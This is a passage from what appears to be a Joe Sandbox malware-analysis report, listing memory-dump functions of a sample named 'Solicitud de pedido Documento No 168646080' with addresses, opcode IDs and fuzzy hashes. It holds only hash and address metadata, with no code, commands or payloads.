                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FEEEE8 Relevance: .1, Instructions: 62COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401783984.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6fe0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: f3872282d4b9eb87a6adc370ffbaee140a8a1992cc4a032def32a989a3cd94e4
                                                                                                              • Instruction ID: df6b332b0736ad935b7bf02c1ab69547648961fe457735d271dd7b7d82ecc101
                                                                                                              • Opcode Fuzzy Hash: f3872282d4b9eb87a6adc370ffbaee140a8a1992cc4a032def32a989a3cd94e4
                                                                                                              • Instruction Fuzzy Hash: 4911AF716006058BCB54DF2CC840785F7E2FF89320B18C6B9E909DF385EA74A849CB90
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FF58D5 Relevance: .1, Instructions: 60COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401835335.0000000006FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FF0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6ff0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 39e72ec706bc7728319e9ac6fc7f1c1c18abf3cd5ce7f80999f2299933acae1e
                                                                                                              • Instruction ID: edf8524ac5a8c6e5925d77d9d220219ac6559ee154322384feaa9f8a0806f3cc
                                                                                                              • Opcode Fuzzy Hash: 39e72ec706bc7728319e9ac6fc7f1c1c18abf3cd5ce7f80999f2299933acae1e
                                                                                                              • Instruction Fuzzy Hash: AF118EA282E3C15FE7671BB088262903F709E27221B0944C7D1C1CE1B7E619451AE762
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FE4ED8 Relevance: .1, Instructions: 59COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401783984.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6fe0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 23502a64170f96a348a91ad5f651fe74e9059b70129716b6a63525aae94652e0
                                                                                                              • Instruction ID: 37be785a5f90192ed4d4881e8f268e864865da12781d9bf93cd1cf5502c89a09
                                                                                                              • Opcode Fuzzy Hash: 23502a64170f96a348a91ad5f651fe74e9059b70129716b6a63525aae94652e0
                                                                                                              • Instruction Fuzzy Hash: 2511DD36A006459FCB55DF34D854EA97BA6FF85740B0480B9E506CB2B1DB35E912DBC0
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0730C2F8 Relevance: .1, Instructions: 59COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 149d4051c6ed83bf9c67ea2574d84a652043390a3e6cf7037f852d805aa410f2
                                                                                                              • Instruction ID: a1dea829c299ff80333728a49ea312a2806052d660c39104d9b7cf420f1d879a
                                                                                                              • Opcode Fuzzy Hash: 149d4051c6ed83bf9c67ea2574d84a652043390a3e6cf7037f852d805aa410f2
                                                                                                              • Instruction Fuzzy Hash: 4821F7B4D14209DFDB40CFA9C1909EEBBF9BB49300F60A1A9D809A7751C7359A40CFA1
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 07306A10 Relevance: .1, Instructions: 58COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 52e244dc22fcf433513051758b37a7b0e95502f9156552c8f127f7ea21cc5743
                                                                                                              • Instruction ID: c0357dce00d9e4b9eb863a1835138e39e41a78ba4a9ca283b6f6fc0a07ce9f78
                                                                                                              • Opcode Fuzzy Hash: 52e244dc22fcf433513051758b37a7b0e95502f9156552c8f127f7ea21cc5743
                                                                                                              • Instruction Fuzzy Hash: 851124B1F002099BDB54EBBD98216EEBBF6AFC9311B144079C505E7288EB318D15CBD1
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0730BA41 Relevance: .1, Instructions: 58COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 8f6b1d35635c57851bdf4c83d6bb1669305a1557931d8d4dc0d05df457c0adff
                                                                                                              • Instruction ID: 544d3cdfa8954f0582bf60a70aad5f8e8a516b6823d9f0b28e97bc61ab3aece8
                                                                                                              • Opcode Fuzzy Hash: 8f6b1d35635c57851bdf4c83d6bb1669305a1557931d8d4dc0d05df457c0adff
                                                                                                              • Instruction Fuzzy Hash: F61112B4E14209CFDF09CFE8D8909FDFBB5EB8D311F10912AD61AA6251C6325926CB90
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00A6D4BF Relevance: .1, Instructions: 56COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1389962646.0000000000A6D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A6D000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_a6d000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 099256442a3ab3004f72329a4e4b6c70090b87d396c4978555b43c732be305a7
                                                                                                              • Instruction ID: 8e8b07331effb1815c5e5ebcadfd96933f366ed61ae0dff703767d40757128e0
                                                                                                              • Opcode Fuzzy Hash: 099256442a3ab3004f72329a4e4b6c70090b87d396c4978555b43c732be305a7
                                                                                                              • Instruction Fuzzy Hash: A411B676A04280DFCB16CF14D5C4B16BF72FB94324F24C6A9D84A4F656C336D856CBA1
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00A6D3D3 Relevance: .1, Instructions: 56COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1389962646.0000000000A6D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A6D000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_a6d000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 099256442a3ab3004f72329a4e4b6c70090b87d396c4978555b43c732be305a7
                                                                                                              • Instruction ID: 8f30345d6458be1a5558845a493d4d91f8c2c08698182ff7d609c6c8c228cf2e
                                                                                                              • Opcode Fuzzy Hash: 099256442a3ab3004f72329a4e4b6c70090b87d396c4978555b43c732be305a7
                                                                                                              • Instruction Fuzzy Hash: C711E6B6A04240DFCB16CF14D5C4B16BF72FB94324F24C6A9D8494F656C33AE856CBA1
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 07306D54 Relevance: .1, Instructions: 56COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: bb84cf96f6296ec2f9d5ac72da2638a8afcbdaf2448faa1e8622d1e5a87a3df2
                                                                                                              • Instruction ID: 55356e2e42c406127418e8ec5047762acdb1a22df006cf2b2f915c705e798fcd
                                                                                                              • Opcode Fuzzy Hash: bb84cf96f6296ec2f9d5ac72da2638a8afcbdaf2448faa1e8622d1e5a87a3df2
                                                                                                              • Instruction Fuzzy Hash: E22100B5D003499FDB20DF9AD884ADEBBF4FB48320F10842AE919A7240C375A954CFA5
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FF4A32 Relevance: .1, Instructions: 55COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401835335.0000000006FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FF0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6ff0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 58b751b59814baed4ae88433319503400ba033dd36e94b01aad8cbe17d515435
                                                                                                              • Instruction ID: cfe25271fefe5dce649de1118f2bcd60e514e0d6a7d759682b7efeda3d240718
                                                                                                              • Opcode Fuzzy Hash: 58b751b59814baed4ae88433319503400ba033dd36e94b01aad8cbe17d515435
                                                                                                              • Instruction Fuzzy Hash: 6111E5303057504FE751AB6898157EA7AD6AB85704F10856DE289CF2C3CAF66C4E47E2
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 073024A9 Relevance: .1, Instructions: 54COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 10ac39b4960f3a192d0116359329485ff81810e5544e19cc467880e7eb71f95c
                                                                                                              • Instruction ID: 01f86cc3071b7e2572854dcd7b7ceb61113f0d0db4e6c33b4b591498a6e2fff0
                                                                                                              • Opcode Fuzzy Hash: 10ac39b4960f3a192d0116359329485ff81810e5544e19cc467880e7eb71f95c
                                                                                                              • Instruction Fuzzy Hash: 5011B2B0E05255DFDB04CFA9D5651EEFFF2BB86310F24C0AAD055A7291D7308A41CB44
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0730C828 Relevance: .1, Instructions: 53COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: e283548947291dc05e14ca68f117916b4abab4b1572df778123dfc0e83da43bd
                                                                                                              • Instruction ID: 0a6e599fbcbdc4f09643087e3823c6c0a37883ffdf7928f6fd19497622eeb8ee
                                                                                                              • Opcode Fuzzy Hash: e283548947291dc05e14ca68f117916b4abab4b1572df778123dfc0e83da43bd
                                                                                                              • Instruction Fuzzy Hash: AA11F6B1D056589BEB18CFABC9543DEBFF6AFC9300F14C06AD409662A4DB7509468F90
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00A7D017 Relevance: .1, Instructions: 53COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1390237461.0000000000A7D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A7D000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_a7d000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 4ccb17c466d2e34b86bde66ac975e9cbefd8e24c09005379d072ef0b40a0d1c0
                                                                                                              • Instruction ID: a4e3e16b0bf3e928ab67ad6e6d4c7d9517f1de9e0a34efcf980264bf47908a73
                                                                                                              • Opcode Fuzzy Hash: 4ccb17c466d2e34b86bde66ac975e9cbefd8e24c09005379d072ef0b40a0d1c0
                                                                                                              • Instruction Fuzzy Hash: 4C118E75504280DFCB15CF14D9C4B15BB72FB44314F24C6A9D84E4B656C33AD85BCB61
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00A7D1CF Relevance: .1, Instructions: 53COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1390237461.0000000000A7D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A7D000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_a7d000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 4ccb17c466d2e34b86bde66ac975e9cbefd8e24c09005379d072ef0b40a0d1c0
                                                                                                              • Instruction ID: 8a5cd3be8285593674efe421e581d0b223fe9cfc7f296c008cd346dd82fd4ba2
                                                                                                              • Opcode Fuzzy Hash: 4ccb17c466d2e34b86bde66ac975e9cbefd8e24c09005379d072ef0b40a0d1c0
                                                                                                              • Instruction Fuzzy Hash: 7F118B75604280DFCB15DF14D9C4B55BBB2FF84324F28C6ADD8494B696C33AD84ACBA1
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FEB878 Relevance: .1, Instructions: 52COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401783984.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6fe0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 27171e71171de411e549da261a2c74dcfe2db48e633f82ba17e0808eb9c47a8e
                                                                                                              • Instruction ID: 970a4f015e4e9e0bfb5d00e07e6878fa15157eac5d00537d2ed5533cf2cdfa6c
                                                                                                              • Opcode Fuzzy Hash: 27171e71171de411e549da261a2c74dcfe2db48e633f82ba17e0808eb9c47a8e
                                                                                                              • Instruction Fuzzy Hash: E501F272F0D246AFCB932A64DE181EA3FB49F82200B1549A7D449E7385E2304B16CFD2
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FE59FA Relevance: .1, Instructions: 52COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401783984.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6fe0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: ed553c2a047347be4792d87f4abc2c7a46014342d3cf10f41d7c51e04bcbb2e5
                                                                                                              • Instruction ID: 09957027a99ffe6788b027a31b1fce5229227ab7c3e188791cd7792a79839e84
                                                                                                              • Opcode Fuzzy Hash: ed553c2a047347be4792d87f4abc2c7a46014342d3cf10f41d7c51e04bcbb2e5
                                                                                                              • Instruction Fuzzy Hash: D501DF32E042199FD7648B69D880BA6BBE9EF85328F05416AE508CB711DB72EC41C7E0
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FF1150 Relevance: .1, Instructions: 51COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401835335.0000000006FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FF0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6ff0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 33cbc702aa476025d7afa2e43d66f5a2fe708327ccd69e830bd64a578a7b285a
                                                                                                              • Instruction ID: 89fcd6997d99c39187bf3e9aa520fe846dc2bd2d52e5b866ff52ccd99e002735
                                                                                                              • Opcode Fuzzy Hash: 33cbc702aa476025d7afa2e43d66f5a2fe708327ccd69e830bd64a578a7b285a
                                                                                                              • Instruction Fuzzy Hash: B31126303007104BE760AB68D8557AA7AC6AF84704F10C56DE2898F3C3CEF6A84A4BE1
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0730C3A2 Relevance: .1, Instructions: 51COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 293c48ddccaa8efbaea033a8aa130d34a1997b3cfa0e99f79aab30a5b884e95f
                                                                                                              • Instruction ID: a52ef35e464da3fecd2d392f3a2bfe68d34ac625607833f804c9f278f2265ec9
                                                                                                              • Opcode Fuzzy Hash: 293c48ddccaa8efbaea033a8aa130d34a1997b3cfa0e99f79aab30a5b884e95f
                                                                                                              • Instruction Fuzzy Hash: 1F1148B4D18208EFDB04DFA9D190AEDBBF9FB49310F10A6A5D418A7392D3749A00CB90
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 073024B8 Relevance: .0, Instructions: 50COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 9178f95ace07c600136831a405cb6ccbd5cd7002ff2418b4c15900e27b8a6fc9
                                                                                                              • Instruction ID: e9099414ec4562c2d5a26c1a15f8e6a76a9bffcbaaee7a3e57a34a746f0e8860
                                                                                                              • Opcode Fuzzy Hash: 9178f95ace07c600136831a405cb6ccbd5cd7002ff2418b4c15900e27b8a6fc9
                                                                                                              • Instruction Fuzzy Hash: 201121F0E15219DFDB44CFAAD56519EFBF6FB89300F20C46AC009A7254E7309A418B54
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0730B98F Relevance: .0, Instructions: 48COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 27bc239898ae9812e5cd31803c0aff4c01b00bc06040419fd588cf6b207238ff
                                                                                                              • Instruction ID: 45c6b74ee8d7a0adbc466dcb53196e6a18617268a09804e343c512c7c294588d
                                                                                                              • Opcode Fuzzy Hash: 27bc239898ae9812e5cd31803c0aff4c01b00bc06040419fd588cf6b207238ff
                                                                                                              • Instruction Fuzzy Hash: 8401D3F4A29208CFEB05CFA5DC606BEF7BDBB4A301F106029D01EA7685D73199118B90
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0730D280 Relevance: .0, Instructions: 46COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: d0e99273b7d1482733883228a69f3ad33364c2928b8ff273b99db5876f7affdc
                                                                                                              • Instruction ID: 1e2493ac2eda541919d39e1e98b979f532b517a7a8eb20520e893a8afa361a30
                                                                                                              • Opcode Fuzzy Hash: d0e99273b7d1482733883228a69f3ad33364c2928b8ff273b99db5876f7affdc
                                                                                                              • Instruction Fuzzy Hash: 6011D0B4E15218CFDB48DFAAC9545EDBBFABB8D300F2490A9D409A7250D7359A41CFA0
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FF4E90 Relevance: .0, Instructions: 44COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401835335.0000000006FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FF0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6ff0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 49fc01900cc1f44e55b32a44bd740561eeeff7b3fe4c950e23de5e1c594b168a
                                                                                                              • Instruction ID: a1e21381ceea4da025446185659eca111393c59724401c217c0d263c36b9d04b
                                                                                                              • Opcode Fuzzy Hash: 49fc01900cc1f44e55b32a44bd740561eeeff7b3fe4c950e23de5e1c594b168a
                                                                                                              • Instruction Fuzzy Hash: CE01DBB4E5121ADFC750DF68C4459AFBBB1BF88300F118599E515E7351CB389A02CFA1
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FE7242 Relevance: .0, Instructions: 44COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401783984.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6fe0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: fccc26388f69b5ea78e83a168baa2b1f7d4aed10aed2777e4ca6a037836bca69
                                                                                                              • Instruction ID: 713cf958299d97f5160486224cc675dfc164dc2ce63779279c136bacfd53d286
                                                                                                              • Opcode Fuzzy Hash: fccc26388f69b5ea78e83a168baa2b1f7d4aed10aed2777e4ca6a037836bca69
                                                                                                              • Instruction Fuzzy Hash: 80F04633E02122AFD7206A19A8905EEFFD8EF91720B494167F40CCB362C621DC45CBE0
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0730D08B Relevance: .0, Instructions: 44COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: d948470b13995989859e4cc929f849377d38b75ae9b8342f6505974ff43304c8
                                                                                                              • Instruction ID: 2ac6384f748c481f35d18e3c1b8fed0cff1eae01789aba44ea60ef8d5e00d40b
                                                                                                              • Opcode Fuzzy Hash: d948470b13995989859e4cc929f849377d38b75ae9b8342f6505974ff43304c8
                                                                                                              • Instruction Fuzzy Hash: C20184B0A19258CFD714CF94D4A46ECBBBABB4A301F50A159D40EAB785C7359841CF91
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FFD880 Relevance: .0, Instructions: 43COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401835335.0000000006FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FF0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6ff0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 11442fc48a8c3021de47305449040ec58ad717d5acc728868ceaf405ff151fac
                                                                                                              • Instruction ID: 8b0b7d8ecc0a677f21883b7f05b4235b29a0a3cbaf6802c420eac3980506c207
                                                                                                              • Opcode Fuzzy Hash: 11442fc48a8c3021de47305449040ec58ad717d5acc728868ceaf405ff151fac
                                                                                                              • Instruction Fuzzy Hash: 74011335A05248AFCB05DFA9C549A99BFF1EF49300F15C0EAE8489B262EA359A41CF40
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FECF61 Relevance: .0, Instructions: 42COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401783984.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6fe0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 23b871313392ac8593905f6337a1429baf24619e52eec9ed59bfb7ad7f3f037a
                                                                                                              • Instruction ID: bd21fca064f3c0bf3d839706877a16e7df8a1d0a9121298564be8851f3d3aea5
                                                                                                              • Opcode Fuzzy Hash: 23b871313392ac8593905f6337a1429baf24619e52eec9ed59bfb7ad7f3f037a
                                                                                                              • Instruction Fuzzy Hash: BE01D43291060AABCB00AF64CC449CEBB36FFC9344F118629E00567220EB71A589CB90
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0730D6A0 Relevance: .0, Instructions: 41COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 09118ce82639b469c76bb1ff3c6488acc3dba183c0b58a507929420bcfea4e04
                                                                                                              • Instruction ID: d3c3b0b601194f26609abb0977a9f4be2452b042ffc8ce0a51ad150a586e5da4
                                                                                                              • Opcode Fuzzy Hash: 09118ce82639b469c76bb1ff3c6488acc3dba183c0b58a507929420bcfea4e04
